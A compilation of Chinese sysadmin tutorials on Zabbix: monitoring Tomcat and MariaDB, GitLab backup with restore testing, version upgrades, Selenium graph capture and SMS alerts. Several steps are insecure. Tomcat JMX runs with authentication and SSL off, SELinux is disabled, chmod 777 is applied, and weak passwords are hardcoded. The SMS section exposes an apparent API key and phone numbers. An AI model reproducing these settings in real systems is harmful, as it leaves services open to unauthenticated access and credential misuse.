实现zabbix对tomcat的监控

what-zabbix

优点:

  • 开源,无软件成本投入
  • Server 对设备性能要求低
  • 支持设备多,自带多种监控模板
  • 支持分布式集中管理,有自动发现功能,可以实现自动化监控
  • 开放式接口,扩展性强,插件编写容易
  • 当监控的 item 比较多服务器队列比较大时可以采用被动状态,被监控客户端主动从server 端去下载需要监控的 item 然后取数据上传到 server 端。这种方式对服务器的负载比较小。
  • Api 的支持,方便与其他系统结合

缺点:

  • 需在被监控主机上安装 agent,所有数据都存在数据库里,产生的数据很大,瓶颈主要在数据库。

how-zabbix

Zabbix 通过 C/S 模式采集数据,通过 B/S 模式在 web 端展示和配置。
被监控端:主机通过安装 agent 方式采集数据,网络设备通过 SNMP 方式采集数据
Server 端:通过收集 SNMP 和 agent 发送的数据,写入数据库(MySQL,ORACLE 等),
再通过 php+apache 在 web 前端展示

未分类

how-to-zabbix-Tomcat

首先我们需要了解一下zabbix和Tomcat的对应关系

  • zabbix_server开启java poller
  • zabbx_java开启JavaGateway,端口为10052
  • Tomcat JMX开启2222提供性能数据。

数据获取:java pollerJavaGateway:10052Tomcat:2222.

配置过程

server1(server):

首先先把zabbix搭建起来.

yum install zabbix-server-2.4.5-1.el6.x86_64.rpm zabbix-server-mysql-2.4.5-1.el6.x86_64.rpm zabbix-web-2.4.5-1.el6.noarch.rpm zabbix-web-mysql-2.4.5-1.el6.noarch.rpm zabbix-2.4.5-1.el6.x86_64.rpm php-bcmath-5.3.3-26.el6.x86_64.rpm php-mbstring-5.3.3-26.el6.x86_64.rpm  iksemel-1.4-2.el6.x86_64.rpm fping-2.4b2-16.el6.x86_64.rpm -y

在装zabbix之前确保服务器已经搭建lamp环境…..

安装zabbix后会自动在/etc/httpd/conf.d 中出现zabbix的配置文件

[root@server1 conf.d]# ls
php.conf  README  welcome.conf  zabbix.conf

创建存储zabbix的数据库,用户

mysql> create database zabbix character set utf8 collate utf8_bin;
mysql> create  user  zabbix@localhost identified by "miao";
Query OK, 0 rows affected (0.00 sec)

mysql> grant all on zabbix.* to zabbix@localhost;
Query OK, 0 rows affected (0.00 sec)

或者这样创建用户

[root@server1 zabbix]# pwd
/etc/zabbix
[root@server1 zabbix]# vim .my.cnf

[mysql]
host = localhost
user = zabbix
password = miao
socket = /var/lib/mysql/mysql.sock
[mysqladmin]
host = localhost
user = zabbix
password = miao
socket = /var/lib/mysql/mysql.sock

往zabbix数据库导入数据(注意schema必须先导入)

[root@server1 ~]# cd /usr/share/doc/zabbix-server-mysql-2.4.5/create/
[root@server1 create]# mysql zabbix <schema.sql
[root@server1 create]# mysql zabbix <images.sql
[root@server1 create]# mysql zabbix <data.sql

配置服务端文件

vim /etc/zabbix/zabbix_server.conf

 72  DBHost=localhost
 82  DBName=zabbix
 98  DBUser=zabbix
106  DBPassword=miao

配置服务端agent文件(因为我用的是rpm包,所以必须配置)

vim /etc/zabbix/zabbix_agentd.conf

Hostname=server1.lalala.com
ServerActive=127.0.0.1
Server=127.0.0.1

设置php时区,两台主机必须一致,否则出错

vim /etc/php.ini

date.timezone = Asia/Shanghai

启动zabbix

未分类

自动注册设备时,需要的配置

未分类

zabix配置完毕,下面是监控tomcat的配置

vim /etc/zabbix/zabbix_server.conf 激活zabbix的JavaGateway模块

589 JavaGateway=127.0.0.1
590 JavaGatewayPort=10052    
591 StartJavaPollers=5

vim zabbix_java_gateway.conf

589 JavaGateway=127.0.0.1
590 JavaGatewayPort=10052
591 StartJavaPollers=5
[root@server1 zabbix]# /etc/init.d/zabbix-agent restart
[root@server1 zabbix]# /etc/init.d/zabbix-server restart
[root@server1 zabbix]#/etc/init.d/zabbix-java-gateway start

可以看到zabbix-java-gateway正常启动(10052)

未分类

server2(client):

yum install zabbix-agent-2.4.5-1.el6.x86_64.rpm zabbix-2.4.5-1.el6.x86_64.rpm -y

vim /etc/zabbix/zabbix_agentd.conf

 85 Server=172.25.88.1
126 ServerActive=172.25.88.1
135  Hostname=server2.lalala.com

zabbix-agent配置完毕,下面是监控tomcat的配置

yum install java-1.6.0-openjdk.x86_64 -y tar zxf apache-tomcat-7.0.37.tar.gz

vim /root/apache-tomcat-7.0.37/bin/catalina.sh

CATALINA_OPTS="-Dcom.sun.management.jmxremote
  -Dcom.sun.management.jmxremote.port=2222
  -Dcom.sun.management.jmxremote.ssl=false
  -Dcom.sun.management.jmxremote.authenticate=false"

设置server2 基于JVM(tomcat)的IP和端口

未分类

别忘了添加JMX的模板!

未分类

开启tomcat,并查看日志,tomcat正常启动…..

未分类

查看端口2222,java poller也正常启动

未分类

最后发现JVM的小绿灯也亮起来啦,而且有图像,成功!!!!

未分类

未分类

gitlab的备份、备份还原测试及zabbix监控

说明

备份很重要,我们使用一台备份服务器来对gitlab服务器数据进行备份,而测试备份文件是否可用也很重要,要不然用到备份文件,而此文件无法正常还原就损失大了。所以我们还对备份文件进行还原测试及使用zabbix监控备份和还原是否成功。
备份服务器系统使用centos7。下面是备份服务器的配置过程。

配置备份服务器环境

安装docker

yum install -y yum-utils device-mapper-persistent-data lvm2
yum-config-manager 
    --add-repo 
    https://download.docker.com/linux/centos/docker-ce.repo
yum -y install docker-ce    
systemctl start docker

拉取gitlab镜像

docker pull hub-mirror.c.163.com/gitlab/gitlab-ce:8.17.2-ce.0
docker tag hub-mirror.c.163.com/gitlab/gitlab-ce:8.17.2-ce.0 gitlab/gitlab-ce:8.17.2-ce.0

配置密钥免密码登录gitlab服务器

ssh-keygen
ssh-copy-id -i ~/.ssh/id_rsa.pub 192.168.93.5

关闭selinux

sed -i 's/SELINUX=enforcing/SELINUX=disabled/' /etc/sysconfig/selinux
setenforce 0

安装zabbix-agent

rpm -ivh http://repo.zabbix.com/zabbix/3.2/rhel/7/x86_64/zabbix-release-3.2-1.el7.noarch.rpm 
yum -y install zabbix-agent zabbix-sender
service zabbix-agent start
chkconfig zabbix-agent on

配置agent

server_ip=192.168.93.202
sed -i "s/Server=.*/Server=$server_ip/"  /etc/zabbix/zabbix_agentd.conf
sed -i "s/ServerActive=.*/Server=$server_ip/"  /etc/zabbix/zabbix_agentd.conf
service zabbix-agent restart

导入模板

<?xml version="1.0" encoding="UTF-8"?>
<zabbix_export>
    <version>3.2</version>
    <date>2017-09-06T15:39:00Z</date>
    <groups>
        <group>
            <name>Templates</name>
        </group>
    </groups>
    <templates>
        <template>
            <template>Template Gitlab Backup</template>
            <name>Template Gitlab Backup</name>
            <description/>
            <groups>
                <group>
                    <name>Templates</name>
                </group>
            </groups>
            <applications>
                <application>
                    <name>gitlab-backup</name>
                </application>
            </applications>
            <items>
                <item>
                    <name>gitlab backup result</name>
                    <type>7</type>
                    <snmp_community/>
                    <multiplier>0</multiplier>
                    <snmp_oid/>
                    <key>gitlab-backup</key>
                    <delay>86400</delay>
                    <history>90</history>
                    <trends>0</trends>
                    <status>0</status>
                    <value_type>4</value_type>
                    <allowed_hosts/>
                    <units/>
                    <delta>0</delta>
                    <snmpv3_contextname/>
                    <snmpv3_securityname/>
                    <snmpv3_securitylevel>0</snmpv3_securitylevel>
                    <snmpv3_authprotocol>0</snmpv3_authprotocol>
                    <snmpv3_authpassphrase/>
                    <snmpv3_privprotocol>0</snmpv3_privprotocol>
                    <snmpv3_privpassphrase/>
                    <formula>1</formula>
                    <delay_flex/>
                    <params/>
                    <ipmi_sensor/>
                    <data_type>0</data_type>
                    <authtype>0</authtype>
                    <username/>
                    <password/>
                    <publickey/>
                    <privatekey/>
                    <port/>
                    <description/>
                    <inventory_link>0</inventory_link>
                    <applications>
                        <application>
                            <name>gitlab-backup</name>
                        </application>
                    </applications>
                    <valuemap/>
                    <logtimefmt/>
                </item>
            </items>
            <discovery_rules/>
            <httptests/>
            <macros/>
            <templates/>
            <screens/>
        </template>
    </templates>
    <triggers>
        <trigger>
            <expression>{Template Gitlab Backup:gitlab-backup.strlen()}&lt;&gt;0</expression>
            <recovery_mode>0</recovery_mode>
            <recovery_expression/>
            <name>gitlab backup failed</name>
            <correlation_mode>0</correlation_mode>
            <correlation_tag/>
            <url/>
            <status>0</status>
            <priority>2</priority>
            <description/>
            <type>0</type>
            <manual_close>0</manual_close>
            <dependencies/>
            <tags/>
        </trigger>
        <trigger>
            <expression>{Template Gitlab Backup:gitlab-backup.nodata(25h)}=1</expression>
            <recovery_mode>0</recovery_mode>
            <recovery_expression/>
            <name>no gitlab backup message</name>
            <correlation_mode>0</correlation_mode>
            <correlation_tag/>
            <url/>
            <status>0</status>
            <priority>2</priority>
            <description/>
            <type>0</type>
            <manual_close>0</manual_close>
            <dependencies/>
            <tags/>
        </trigger>
    </triggers>
</zabbix_export>

配置备份脚本

mkdir -p /data/sh
vi /data/sh/backup-gitlab.sh

脚本内容:

#!/bin/bash
export PATH="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/root/bin"

GITLAB_HOST="192.168.93.5"
ZABBIX_SERVER="192.168.93.202"
BACKUP_SERVER_HOST_NAME="backup server"

# 开始ssh远程执行备份
echo "开始ssh远程执行备份"
if ! msg=`ssh $GITLAB_HOST gitlab-rake gitlab:backup:create 2>&1`;then
    zabbix_sender -z $ZABBIX_SERVER -s "$BACKUP_SERVER_HOST_NAME" -k gitlab-backup -o "backup failed: $msg"
    exit 1
fi
# 获取备份文件名
echo "获取备份文件名"
backup_filename=`ssh $GITLAB_HOST ls -t /var/opt/gitlab/backups/ | head -1`
mkdir -p /data/backup/gitlab/

# 拉取备份文件
echo "拉取备份文件"
if ! msg=`scp $GITLAB_HOST:/var/opt/gitlab/backups/$backup_filename /data/backup/gitlab/ 2>&1`;then
    zabbix_sender -z $ZABBIX_SERVER -s "$BACKUP_SERVER_HOST_NAME" -k gitlab-backup -o "scp backup file failed: $msg"
    exit 1  
fi

# 拉取配置文件
echo "拉取配置文件"
mkdir -p /data/backup/gitlab/etc/
if ! msg=`scp -r $GITLAB_HOST:/etc/gitlab/* /data/backup/gitlab/etc/ 2>&1`;then
    zabbix_sender -z $ZABBIX_SERVER -s "$BACKUP_SERVER_HOST_NAME" -k gitlab-backup -o "scp etc file failed: $msg"
    exit 1  
fi
# 备份.ssh
mkdir -p /data/backup/gitlab/etc/ssh/
scp -r $GITLAB_HOST:/var/opt/gitlab/.ssh/ /data/backup/gitlab/etc/ssh/

timestamp=`echo $backup_filename  | sed 's/_gitlab_backup.tar//'`
# 启动一个gitlab容器进行还原测试
echo "启动一个gitlab容器进行还原测试"
docker run --detach 
    --hostname gitlab.example.com 
    --name gitlab 
    --restart always 
    -p 443:443 
    -p 80:80 
    --volume /data/backup/gitlab/etc:/etc/gitlab 
    -v /data/backup/gitlab:/var/opt/gitlab/backups/ 
    gitlab/gitlab-ce:8.17.2-ce.0

# 停止unicorn和sidekiq
echo "等待gitlab启动"
while true;do
    if [[ `docker exec gitlab gitlab-ctl status | grep -c ^run` -eq 7  ]];then
        break
    fi
    sleep 5    
done
echo "重新配置"
docker exec gitlab gitlab-ctl reconfigure
docker exec gitlab gitlab-ctl restart
echo "停止unicorn和sidekiq"
docker exec gitlab gitlab-ctl stop unicorn
docker exec gitlab gitlab-ctl stop sidekiq
chmod -R 777 /data/backup/gitlab/

# 开始还原备份
echo "开始还原备份"
if ! msg=`docker exec gitlab gitlab-rake gitlab:backup:restore BACKUP=$timestamp force=yes 2>&1`;then
    zabbix_sender -z $ZABBIX_SERVER -s "$BACKUP_SERVER_HOST_NAME" -k gitlab-backup -o "rescore failed: $msg"
    exit 1
fi
docker exec gitlab gitlab-ctl start
docker stop gitlab
docker rm gitlab

# 清除备份
find /data/backup/gitlab/*.tar -mtime +7 -exec rm -f {} ;
zabbix_sender -z $ZABBIX_SERVER -s "$BACKUP_SERVER_HOST_NAME" -k gitlab-backup -o ""

加定时任务

01 03 * * * /data/sh/backup-gitlab.sh

使用zabbix监控mariadb性能状态

0x01 前言

zabbix内置Mysql的监控模版,因为mariadb和Mysql两者的相关性,所以这个模版也能用在mariadb services上。

0x02 Mysql

首先要在mariadb新建一个账户,这个账户不需要有任何权限。这个账户只是用来登入mariadb获取服务状态。

GRANT USAGE ON *.* TO 'user name'@'server ip' IDENTIFIED BY 'passwd';
FLUSH PRIVILEGES;

请将以下内容根据实际情况进行替换:

  • user name >>mariadb账户名
  • server ip >>mariadb服务器IP
  • passwd >>mariadb密码

0x03 Zabbix Agent

完成mariadb的用户添加后,还要在mariadb服务器安装Zabbix Agent。通过以下文件可以得知还需要新建一个文件,并在这个文件内填入mariadb的信息:

/etc/zabbix/zabbix_agentd.d/userparameter_mysql.conf 

# For all the following commands HOME should be set to the directory that has .my.cnf file with password information.

# Flexible parameter to grab global variables. On the frontend side, use keys like mysql.status[Com_insert].
# Key syntax is mysql.status[variable].
UserParameter=mysql.status[*],echo "show global status where Variable_name='$1';" | HOME=/var/lib/zabbix mysql -N | awk '{print $$2}'

# Flexible parameter to determine database or table size. On the frontend side, use keys like mysql.size[zabbix,history,data].
# Key syntax is mysql.size[<database>,<table>,<type>].
# Database may be a database name or "all". Default is "all".
# Table may be a table name or "all". Default is "all".
# Type may be "data", "index", "free" or "both". Both is a sum of data and index. Default is "both".
# Database is mandatory if a table is specified. Type may be specified always.
# Returns value in bytes.
# 'sum' on data_length or index_length alone needed when we are getting this information for whole database instead of a single table
UserParameter=mysql.size[*],bash -c 'echo "select sum($(case "$3" in both|"") echo "data_length+index_length";; data|index) echo "$3_length";; free) echo "data_free";; esac)) from information_schema.tables$([[ "$1" = "all" || ! "$1" ]] || echo " where table_schema="$1"")$([[ "$2" = "all" || ! "$2" ]] || echo "and table_name="$2"");" | HOME=/var/lib/zabbix mysql -N'

UserParameter=mysql.ping,HOME=/var/lib/zabbix mysqladmin ping | grep -c alive
UserParameter=mysql.version,mysql -V

然后新建以下文件并进行修改,要注意的是 /var/lib/zabbix 这个路径可能并不存在,需要手动新建:

#新建文件夹
mkdir -p /var/lib/zabbix

#修改文件
vim /var/lib/zabbix/.my.cnf

#填入内容
[mysql]
user=zabbix
password=zabbix
host=127.0.0.1

[mysqladmin]
user=zabbix
password=zabbix
host=127.0.0.1

完成后需要通过以下命令手动重启mariadb services和zabbix agent services:

#重启mariadb
systemctl restart mariadb.service

#重启zabbix agent
systemctl restart zabbix-agent.service

0x04 监控点

完成在mariadb服务器端的配置后就通过zabbix控制页面添加mariadb的监控点了。首先进入mariadb服务器的配置界面:

未分类

0x05 结语

添加过程还是挺简单的,我想这个监控在压力测试的时候会挺有用。以下是我数据库近两天的监控数据:

未分类

数据库带宽使用情况

未分类

数据库操作状况

Centos7下zabbix 3.2 升级到 zabbix 3.4

1、停止zabbix_server和zabbix_proxy

停止Zabbix服务器以确保没有新数据插入数据库。

停止server,可以用脚本也可以杀死进程

systemctl stop zabbix_server
/etc/init.d/zabbix_server stop
systemctl stop zabbix_proxy
/etc/init.d/zabbix_proxy stop

2、备份现有的Zabbix数据库

这是非常重要的一步。确保您具有数据库的备份。如果升级过程失败(缺少磁盘空间,关闭电源,出现意外问题),这将有所帮助。

mysqldump -uzabbix -p你的密码 zabbix > zabbix_back.sql

3、备份配置文件,PHP文件和Zabbix二进制文件

制作Zabbix二进制文件的备份副本,配置文件和PHP文件目录。

备份zabbix server配置信息主要备份etc下面的配置信息

/bin/cp -fr zabbix_server zabbix_server_3.2_back

备份web目录,这是你的zabbix文件目录

/bin/cp -fr /data/www/zabbix /data/www/zabbix_3.2_back

4、安装新的服务器二进制文件

编译安装zabbix

下载zabbix-3.4.0.tar.gz可以去官方下载

官方下载地址: https://www.zabbix.com/download

未分类

tar xv zabbix-3.4.0.tar.gz
cd zabbix-3.4.0/
./configure --prefix=/app/zabbix/zabbix-server --enable-server --enable-agent --with-mysql --with-net-snmp --with-libcurl
make
make install

未分类

恢复配置文件,拷贝zabbix_server_3.2_back/etc下面文件到新的目录下面

因为我下面有很多脚本,所以我需要把脚本目录也拷贝过去

/bin/cp -fr zabbix-server_2.3_back/etc/* /app/zabbix/zabbix-server/etc/
/bin/cp -fr zabbix-server_2.3_back/script /app/zabbix/zabbix-server/

5、启动新的Zabbix二进制文件

启动新的二进制文件。检查日志文件以查看二进制文件是否已成功启动。

Zabbix服务器将自动升级数据库。启动时,Zabbix服务器报告当前(强制和可选)和所需的数据库版本。如果当前的强制版本比所需版本更早,Zabbix服务器会自动执行所需的数据库升级补丁。数据库升级的开始和进度级别(百分比)将写入Zabbix服务器日志文件。升级完成后,会将一个“数据库升级完全完成”消息写入日志文件。如果任何升级补丁失败,Zabbix服务器将无法启动。如果当前的强制数据库版本比所需服务器更新,Zabbix服务器也将不会启动。如果当前强制数据库版本对应于必需的必需版本,Zabbix服务器将仅启动。

8673:20161117:104750.259当前数据库版本(强制/可选):03040000/03040000
8673:20161117:104750.259必需的版本:03040000

启动服务器之前:

确保数据库用户具有足够的权限(创建表,删除表,创建索引,删除索引)

确保您有足够的可用磁盘空间。

启动zabbix_server

/etc/init.d/zabbix_server start

启动后可以查看日志,可以看到数据库会自动升级到最新版版

未分类

6、安装新的Zabbix Web界面

最低要求的PHP版本为5.4.0。如果需要更新,并遵循安装说明。

复制新的php文件到你的web目录下,复制后注意权限问题

/bin/cp -fr frontends/php/* /data/www/zabbix

完成后我们就能看到最新的zabbix 3.4.0了

大功告成!

UI界面

未分类

未分类

使用Selenium抓取zabbix性能监控图

概要

老样子先来个概要,因为公司一直都子使用企业微信,前两天刚刚将所有zabbix的告警信息接到微信上,总感觉还差那么一点,就想着就高等级的告警加上一个性能监控图,这样只看告警信息大概就清楚问题了,不用在登录到zabbix再去查找信息,就因为这个想法让我掉坑里呆了一整天,蓦然回首还是自己太菜啊,下面先贴出来使用Python登录zabbix并且获取到对应告警项监控图的代码,之后完整代码会贴到github中,链接放到简书上~

实现抓取

以下几点基础:

  • 告警信息的发送message里,可以发送zabbix的宏变量Item ID信息

  • 根据Item ID,可以直接使用特殊URL携带Item ID信息获取对应监控截图

以下为获取截图完整代码:

#!/usr/bin/env python
# -*- coding:utf-8 -*-
# name image.py
from selenium import webdriver
import os
import sys
reload(sys)
sys.setdefaultencoding('utf-8')

def get_item_graph(itemid,flag,eventid):
    temp_name = "/tmp/"+eventid+".png"
        #save_screenshot仅能保存png格式图片,所以文件名定义需要以png结尾
    driver = webdriver.PhantomJS("/usr/local/zabbix-agent-ops/phantomjs-2.1.1/bin/phantomjs",service_log_path=os.path.devnull)
        #使用PhantomJS可以模拟浏览器进行访问
    driver.get("http://127.0.0.1/zabbix/")
    driver.set_window_size(640,480)
    driver.find_element_by_id("name").send_keys("armo")
    driver.find_element_by_id("password").send_keys("123456")
    driver.find_element_by_id("enter").click()
        #模拟访问url,在对应的元素element处输入用户名密码后click登陆
    if flag:
        driver.get("http://127.0.0.1/zabbix/history.php?action=showgraph&fullscreen=1&itemids[]="+itemid)
    else:
        driver.get("http://127.0.0.1/zabbix/history.php?action=showvalues&fullscreen=1&itemids[]="+itemid)
        #flag如果是1,则对应Item有对应的graph获取;如果是0,则获取最新一段时间的值
        driver.save_screenshot(temp_name)
        #将网页内容保存为png图片
    driver.close()
    driver.quit()

if __name__ == "__main__":
    if len(sys.argv) > 1:
        itemid = sys.argv[1]           #脚本传递的第一个参数 Item ID
        flag = sys.argv[2]             #脚本传递的第二个参数 Flag,从zabbix数据库item和graph的对应表查询item是否具有对应的graph,如果有则传递1到脚本,无传递0
        eventid = sys.argv[3]          #脚本传递的第三个参数 告警信息的Event ID,用来命名png图片
    get_item_graph(itemid,flag,eventid)
        #以上三个参数为前置调用脚本分析zabbix的发送信息后得到,之后会更新在后续文章中

遇到的问题

  • 第一个session和cookies的保存问题,如果登录之后不携带cookies是无法访问对应监控页面的,刚开始选择requests模块,感觉相对较难,对于刚入门的我来说还是selenium比较合适,不用考虑session和cookies的问题

  • 脚本在测试环境运行非常好,截图信息也很准确,但是到线上服务器就出了问题,上俩个图:

很明显线上环境返回的图,前面一段居然是乱码。检查了所有环境,最后才发现问题出在线上服务器没有安装和zabbix适配的字体问题上,很是无奈啊,居然还要考虑字体的问题,阿里云的服务器也是真够能偷懒的。

未分类
正常

未分类
不正常

  • 安装字体

为了确保万无一失,直接安装zabbix调用的字体到系统中

[root@zabbix ~]# cp /var/www/html/zabbix/fonts/DejaVuSans.ttf /usr/share/fonts/
[root@zabbix ~]# mkfontscale
[root@zabbix ~]# mkfontdir
[root@zabbix ~]# fc-list :lang=zh
Fangsong ti:style=Regular
AR PL ShanHeiSun Uni:style=Regular
[root@zabbix ~]#

安装成功之后再次运行脚本后,截图一切正常了~~~~终于可以安心睡觉了。

Zabbix 3.0.4 安装部署&常见错误解决

源码搭建LNMP环境后,可以开始安装Zabbix了。

ZABBIX安装

1. 下载zabbix软件包

链接:http://pan.baidu.com/s/1slcXw41 密码:k8jm

yum -y install lrzsz

利用linux自带的上传命令上传软件包到服务器目录上

2. 安装依赖包,不然配置zabbix的时候会报错

yum -y install mysql-devel net-snmp-devel

3. 源码安装zabbix

tar -zxvf zabbix-3.0.4.tar.gz
cd zabbix-3.0.4
./configure --prefix=/usr/local/zabbix --enable-server --enable-agent --with-mysql --with-net-snmp --with-libcurl --with-libxml2
make -j 4 && make install

4. 创建zabbix用户

groupadd zabbix
useradd zabbix -s /sbin/nologin -M -g zabbix

导入SQL文件之前需要创建ZABBIX数据库

mysql> create database zabbix default charset utf8;
mysql> grant all privileges on zabbix.* to zabbix@'localhost' identified by 'zabbix';
mysql> flush privileges;
mysql> show databases;
mysql> quit

5. 导入sql文件

mysql -uroot -pyinzhengjie zabbix < database/mysql/schema.sql
mysql -uroot -pyinzhengjie zabbix < database/mysql/images.sql
mysql -uroot -pyinzhengjie zabbix < database/mysql/data.sql

6. 创建zabbix项目目录便于管理

mkdir -p data/zabbix/web
mkdir -p data/zabbix/log
mkdir -pv /usr/local/nginx/conf/zabbix
cd /usr/local/nginx/conf/zabbix/
cp -rp /usr/local/zabbix-3.0.4/frontends/php/* /data/zabbix/web/
cp /yinzhengjie/zabbix-3.0.4/misc/init.d/tru64/zabbix_* /etc/init.d/
chmod +x /etc/init.d/zabbix_*
vim /etc/init.d/zabbix_server
DAEMON=/usr/local/zabbix/sbin/zabbix_server (切记要修改这个变量的path,因为咱们是源码安装的,路径不正确,下面的脚本调用就会出错的!)
vim /etc/init.d/zabbix_agentd
DAEMON=/usr/local/zabbix/sbin/zabbix_agentd(原理同上)

7. 编辑zabbix访问web的配置文件

(配置文件处理要写明端口外,还有启用fastcgi,因为nginx本身是不支持php的,如果不开启这个功能的话就无法支持zabbix的php界面了哟)

mkdir -pv  /usr/local/nginx/conf/zabbix && cd /usr/local/nginx/conf/zabbix
vim zabbix.conf
server {
listen 8027;
server_name web;
access_log /data/zabbix/log/zabbix.access.log main;
index index.html index.php index.html;
root /yinzhengjie/data/zabbix/web;
location /{
try_files $uri $uri/ /index.php?$args;
}
location ~ ^(.+.php)(.*)$ {
fastcgi_split_path_info ^(.+.php)(.*)$;
include fastcgi.conf;
fastcgi_pass 127.0.0.1:9000;
fastcgi_index index.php;
fastcgi_param PATH_INFO $fastcgi_path_info;
}
}

8. 编辑zabbix的配置文件

(修改一下参数,账号密码要记住哟,不然网页安装会出问题的~)

cat /usr/local/zabbix/etc/zabbix_server.conf | grep -v ^# | grep -v "^$"LogFile=/tmp/zabbix_server.log
PidFile=/tmp/zabbix_server.pid
DBHost=localhost
DBName=zabbix
DBUser=zabbix
DBPassword=zabbix

9. 编辑nginx的配置文件

(基本上是架空了nginx配置文件,而是用include模块已经写好的调用配置文件)

cd /usr/local/nginx/conf/
vim nginx.conf
user nginx;
worker_processes 1;
#error_log logs/error.log warning;
#error_log logs/error.log notice;
#error_log logs/error.log info;
pid logs/nginx.pid;
events {
worker_connections 1024;
}
http {
include mime.types;
default_type application/octet-stream;
log_format main '$remote_addr - $remote_user [$time_local] "$request" '
'$status $body_bytes_sent "$http_referer" '
'"$http_user_agent" "$http_x_forwarded_for"';
access_log logs/access.log main;
sendfile on;
#tcp_nopush on;
#keepalive_timeout 0;
keepalive_timeout 65;
#gzip on;
include zabbix/*.conf;
}
#防火墙策略
iptables -I INPUT -p tcp --dport 80 -j ACCEPT
iptables -I INPUT -p tcp --dport 8027 -j ACCEPT
#启动zabbix服务和代理
service zabbix_server start
service zabbix_agentd start

好了,以上就是zabbix服务器已经部署完毕了,下面我们要开始页面安装zabbix了

ZABBIX安装以及常见错误解决方案

1. 首先登陆服务器地址

(服务器地址+nginx监听zabbix的端口号,listen 8027;)

未分类

2. 输入账号密码

这个是在zabbix配置文件中定义的

未分类

3. 直接下一步

未分类

4. 点击下一步

未分类

5. 需要下载文件到服务器

未分类

点击蓝色按钮下载,然后上传到服务器

未分类

[root@bogon yinzhengjie]# cd /yinzhengjie/data/zabbix/web/conf/
[root@bogon conf]# ll
total 8
-rw-r--r--. 1 1000 1000 1036 Jul 22 08:06 maintenance.inc.php
-rw-r--r--. 1 1000 1000 411 Jul 22 08:06 zabbix.conf.php.example
[root@bogon conf]# cp /yinzhengjie/zabbix.conf.php ./

修改权限

[root@bogon conf]# chown -R 1000:1000 zabbix.conf.php

好的,来带web界面点击右键刷新

未分类

6. 输入账号密码

未分类

故障排错:时区错误

未分类

解决方案:

编辑你的php配置文件,修改成正确的时区就好!正确的应该写PRC

未分类

[root@bogon yinzhengjie]# find / -name php.ini
/usr/local/product/php-5.5.35/etc/php.ini
[root@bogon yinzhengjie]# vim /usr/local/product/php-5.5.35/etc/php.ini

找到对应时区的字段,修改成东八区的时区,修改后重启PHP

未分类

重启后,来到登陆界面,奇迹发生了~

后记:最近有的朋友向我反馈一个问题,就是把zabbix的界面调试到中文模式的时候,在看图像会出现乱码的情况~如下图:

未分类

怎么处理这个问题呢?其实很简单,我们可以把windows系统自带的字体放到服务器上替换一下就好使了

  • 找到windows楷体的字体文件:

未分类

  • 更换zabbix服务器字体文件
[root@bogon yinzhengjie]# cd /yinzhengjie/data/zabbix/web/fonts
[root@bogon fonts]# mv DejaVuSans.ttf /yinzhengjie/

用Linux自带的rz命令上传刚刚的文件即可~

[root@bogon fonts]# ll
总用量 11512
-rw-r--r--. 1 root root 11785184 7月 17 06:28 simkai.ttf
[root@bogon fonts]# 
  • 修改配置文件
[root@bogon yinzhengjie]# vim /yinzhengjie/data/zabbix/web/include/defines.inc.php

define('ZBX_GRAPH_FONT_NAME', 'DejaVuSans'); // font file name
define('ZBX_GRAPH_FONT_NAME', 'simsun'); // font file name        ==>此行为新增行;

define('ZBX_FONT_NAME', 'DejaVuSans');
define('ZBX_FONT_NAME', 'simsun');       ==>此行为新增行;

之后切换到末行模式:执行 %s/DejaVuSans/simkai

未分类

  • 重启zabbix服务
[root@bogon yinzhengjie]# /etc/init.d/zabbix_server restart
Zabbix server terminated.
Zabbix server started.
[root@bogon yinzhengjie]# 
  • 验证你的服务器是否都是正常的字体了

未分类

Zabbix-3.0.3监控系统的短信报警设置

前面已分别介绍了zabbix的邮件、微信报警设置,这些都是手机在有网络时才能收到报警信息,那如果手机没有网的情况下怎么办,这就需要考虑使用短信接口报警了。当服务出现故障达到预警级别是通过发送短信的形式告诉运维人员,以便及时处理。公司的短信接口是从短信服务器购买的,并经过公司开发大神调整后使用的。废话不多赘述,下面直接记录配置过程:

一、zabbix服务端的脚本路径设置

[root@zabbix ~]# cat /data/zabbix/etc/zabbix_server.conf|grep alertscripts
AlertScriptsPath=/data/zabbix/alertscripts

二、短信脚本

--------------------------------------------------------------------------------------------------------
下面是开发大神对短信服务器提供的接口进行调试之后给运维部分使用的短信接口
curl -H "Content-type: application/json" -X POST 192.168.1.10:8080/sms/send/batch -d '
{
  "phones": [
    "13611789029",
    "12310703369",
    "13314466149"
  ],
  "callOrgCode": "YW1001",
  "callOrgName": "运维部门",
  "callAppCode": "WANG_OPS",
  "key": "R13-G294595Y32M24TAD60JK",
  "templateId": 6,
  "valueMap": {
   "msg": "test001服务器出现问题!请尽快修复!"
  }
} '

可以在命令行里手动执行上面的接口进行发信测试,在目标手机查看是否收到短信。
--------------------------------------------------------------------------------------------------------

结合上面的短信接口,zabbix短信报警脚本如下:

[root@zabbix alertscripts]# cat zabbixsend_sms.sh
#!/bin/bash
export LANG=en_US.UTF-8

PHONE=$(echo $1|sed 's/,/",n"/g')                         #第一个变量($1)。由于多个号码要换行,并且每行要加双引号,故要做匹配转换设置
#Message=$(echo $3|sed 's/:/": "/g'|sed 's/,/",n"/g')
#Message=$(echo $3|sed 's/: /": "/g'|sed 's/,/",n"/g')
Message=$3                                                 #第三个变量

curl -H "Content-type: application/json" -X POST 192.168.1.10:8080/sms/send/batch -d """          #公司的短信接口地址,这里采用post方式
{
  "phones": [
    "$PHONE"
  ],
  "callOrgCode":"YW1001",                       
  "callOrgName": "运维部门",
  "callAppCode": "WANG_OPS",
  "key": "R13-G294595Y32M24TAD60JK",
  "templateId": "6",
  "valueMap": {
   "msg": "$Message"
  }
} """                                         #前后三个引号表示引号里的内容输入什么就是什么,变量参数不会被影响。

time=`date '+%F %T'`
echo "${time}  ${PHONE} $Message" >> /data/log/sendsms_`date +%Y-%m`.log

[root@zabbix alertscripts]# chmod 755 zabbixsend_sms.sh

可以先手动执行脚本进行发信测试:
$1是发信的手机号码
$2是发信的主题,这个一般短信报警信息里不显示,如下测试是"报警测试"。上面脚本中没有配置$2的变量
$3是发信的内容。
三个变量使用空格隔开
[root@zabbix alertscripts]# ./zabbixsend_sms.sh 13633767819 报警测试 backup01服务器宕机了!
{"totalCnt":1,"successCnt":1,"failCnt":0,"failPhones":[],"failMsg":null,"msgContent":"backup01服务器宕机了!"}

未分类

三、zabbix的web界面里的报警设置

1、报警媒介类型设置

未分类

2、用户的报警媒介设置

未分类

未分类

3、”动作”设置

未分类

未分类

未分类

未分类

未分类

上面的报警主题如下,这个其实在短信报警信息中没有体现,随便定义即可。

